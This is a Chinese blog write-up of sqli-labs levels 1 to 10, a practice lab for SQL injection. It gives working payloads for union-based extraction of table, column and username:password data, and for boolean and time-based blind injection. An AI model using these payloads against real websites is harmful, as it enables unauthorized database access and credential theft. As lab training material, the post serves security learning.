sqli-lab练习(1-10关)

我们需要了解一下sql的基础基础语句

单行注释:--

多行注释:/*…*/

连接多个字符串:+

合并两个或多个 SELECT 语句的结果集:union

less-1

首先我们来到这个界面,并修改id

成功查看,由于我们是需要错误回显的,所以我们可以先判断是字符型还是数字型

在id=1后面加上一个单引号再试一下

报错了,所以我们可以判断应该是字符型,也就是我们输入的信息被放在一对单引号之间

通过查询,我们可以得知显示位为第二,第三位

我们通过这个报错来爆出库名,输入以下payload

?id=-1' union select 1,2,database() --+

这里单引号的作用是闭合

可以看到,成功爆出security库名

这里再对sql的一些内容进行补充:

在数据库中,schema(发音 “skee-muh” 或者“skee-mah”,中文叫模式)是数据库的组织和结构,schemas 和schemata都可以作为复数形式。模式中包含了schema对象,可以是表(table)、列(column)、数据类型(data type)、视图(view)、存储过程(stored procedures)、关系(relationships)、主键(primary key)、外键(foreign key)等。数据库模式可以用一个可视化的图来表示,它显示了数据库对象及其相互之间的关系

获取所有表结构的语句:

SELECT  *  FROM information_schema.TABLES WHERE  TABLE_SCHEMA='数据库名'

Table_schema数据表所属的数据库名

GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成

所以在报错回显时就会将表中信息爆破出来

我们接下来就用这个语句对该库的各个信息进行爆破

输入如下payload

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

可以看到我们爆出来的信息为:emails,referers,uagents,users

经过分析,可以得知users应该是我们需要的用户表名

column_name:列名

之后我们就可以开始爆破列名了,使用如下payload

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

列名出来之后,后面的所有信息就都可以通过报错回显来获得了

如下payload会将所有username和password爆破出来

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users--+

这里我们用0x3a,也就是冒号将用户名和密码分开了,方便查看

less-2

第二题与第一题唯一差别为,第二题是数字型注入,所以将单引号去掉即可,后面的报错语句相同

less-3

做法不变,与less-1的区别是多了一个括号,在闭合时在后面多加一个),其余不变

less-4

做法不变,与less-1区别是将单引号改为双引号,其余不变

less-5

通过查询id为1的信息,我们知道此关没有返回任何信息,所以就不能使用报错回显了,只能使用盲注,盲注的其中一种为时间延迟型手工注入

基本思路为判断库名长度,判断库名,判断表名长度,判断表名,判断列名长度,判断列名,由于过程过长,所以我们只选取其中一个步骤进行演示

我们这里先了解以下sql中left函数的用法

LEFT(string_expression, count)

string_expression 表示字符串,这个参数可以是数据库表的列名,字符串,也可以是某一函数的返回结果

count  是整数, 表示从字符串开始位置到结束,返回的字符数量

我们这里先选取判断库名来演示

首先我们已经判断出库名长度为8

先输入如下payload

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

可以发现,回显明显有延迟,改为

?id=1' and if(left(database(),2)='se',sleep(5),1)--+

还是明显延迟,直到盲注到最后一个也就是

?id=1' and if(left(database(),8)='security',sleep(5),1)--+

这样一来我们就盲注出了库名为security

之后就可以开始爆表名了,在第四个表成功找到user,并爆破出表名为users

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' ,sleep(5),1)--+

之后的过程也是通过盲注,直到获取到自己想要的信息即可

当然,此关也可以使用布尔注入

由于前面已经演示过盲注库名的方法,所以我们这里演示以下盲注列名

输入如下payload

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' --+

可以看到,是有回显的,所以第三个字节为password,同样我们可以试出,第二个字节为username

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),9)='username' --+

由于我们提前直到每列的名字以及位置,所以可以直接演示出来,但如果没有这些信息,就需要从第一个字母开始一个一个去尝试,直到试出正确的结果,回显到页面

知道表名和列名后就可以对密码和账号进行盲注了

?id=1' and left((select password from users where id=1),1)='d' --+

id为1的第一位密码为d,接下来的就不一一演示了

less-6

经过测试,当输入的为单引号时会报错,所以使用双引号进行闭合,之后再盲注即可

less-7

此关也可以使用盲注,但是经过测试,闭合方式为单引号加两个括号即')),此后过程与前面的盲注一致,下面附上一个爆破表名的payload

?id=1')) and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' ,sleep(5),1)--+

经过查询博客,此题也可以使用文件导入的方式,但这里的博客我没看懂,就先将此题写到这里

less-8

根据题目已经得知这题的做法:布尔型单引号GET盲注

所以我们先检测一下如何闭合,先输入?id=1' and 1=1看一下是否回显

可以看到,成功回显,之后便是盲注了

与前文相同输入如下payload时回显

?id=1' and left(database(),8)='security'--+

这样一来我们已经确定了数据库名,之后就是寻找有关用户信息的表名

直到我们输入到如下payload

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users'--+

成功回显,成功盲注出与用户信息有关的表名

接下来就是盲注列名,还是输入到如下payload

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username'--+

再次盲注出列名,同样的方法可以盲注出password

之后就是盲注出列名中的数据,直到输入如下payload

?id=1' and left((select username from users where id=1),4)='dumb'--+

成功回显,之后的password也可用同样的方法盲注出来

less-9

还是可以根据题目得知,此题考察的是时间盲注,与前一题的区别在于,由于没有回显,所以我们只能通过网站响应的时间来判断我们输入的条件是否正确,在upload上的区别为,此题需要使用if(条件,sleep(5),1),此语句的含义为若条件为真,则网页延迟五秒响应,若条件为假,则延迟一秒钟,由于延迟时间无法通过博客演示,我们这里只给出最终结果的payload,不给演示画面了

?id=1' and if (left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),1)--+
?id=1' and if (left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username',sleep(5),1)--+
?id=1' and if(left((select username from users where id=1),4)='dumb',sleep(5),1)--+

less-10

经检验,此题需要通过双引号去闭合,所以只需要将上题payload中的单引号改为双引号即可

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值